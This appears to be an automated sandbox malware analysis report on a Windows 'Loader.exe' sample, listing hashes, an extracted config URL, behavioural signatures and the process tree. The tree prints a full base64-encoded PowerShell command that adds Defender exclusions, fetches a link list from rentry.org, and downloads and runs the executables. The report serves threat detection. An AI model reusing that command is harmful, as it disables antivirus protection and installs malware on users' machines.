Resubmissions
23-06-2024 19:34
240623-yac8yazcph 323-06-2024 19:33
240623-x9rd6szcne 1023-06-2024 19:32
240623-x895wstbkr 10Analysis
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max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
23-06-2024 19:33
Static task
static1
Behavioral task
behavioral1
Sample
Loader/Launcher.dll
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
Loader/Launcher.dll
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
Loader/Loader.exe
Resource
win7-20240508-en
Behavioral task
behavioral4
Sample
Loader/Loader.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral5
Sample
Loader/mainf.dll
Resource
win7-20240508-en
Behavioral task
behavioral6
Sample
Loader/mainf.dll
Resource
win10v2004-20240611-en
General
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Target
Loader/Loader.exe
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Size
7KB
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MD5
b5e479d3926b22b59926050c29c4e761
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SHA1
a456cc6993d12abe6c44f2d453d7ae5da2029e24
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SHA256
fbc4058b92d9bc4dda2dbc64cc61d0b3f193415aad15c362a5d87c90ca1be30b
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SHA512
09d1aa9b9d7905c37b76a6b697de9f2230219e7f51951654de73b0ad47b8bb8f93cf63aa4688a958477275853b382a2905791db9dcb186cad7f96015b2909fe8
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SSDEEP
192:q+yk9cqvjX3xszdzztCbxbsIcaqc2Ng5vGIcaBSNtUqOwciQjdv:Tyk9Hv1O/Cbxbbcaqc2NidcaANt/dcio
Malware Config
Extracted
https://rentry.org/lem61111111111/raw
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2672 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2672 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
Loader.exedescription pid process target process PID 2280 wrote to memory of 2672 2280 Loader.exe powershell.exe PID 2280 wrote to memory of 2672 2280 Loader.exe powershell.exe PID 2280 wrote to memory of 2672 2280 Loader.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Loader\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader\Loader.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgB6AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAdQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBpAGQAegAjAD4A"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/2280-0-0x000007FEF5D83000-0x000007FEF5D84000-memory.dmpFilesize
4KB
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memory/2280-1-0x0000000001280000-0x0000000001288000-memory.dmpFilesize
32KB
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memory/2672-6-0x0000000002D00000-0x0000000002D80000-memory.dmpFilesize
512KB
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memory/2672-7-0x000000001B760000-0x000000001BA42000-memory.dmpFilesize
2.9MB
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memory/2672-8-0x0000000001D00000-0x0000000001D08000-memory.dmpFilesize
32KB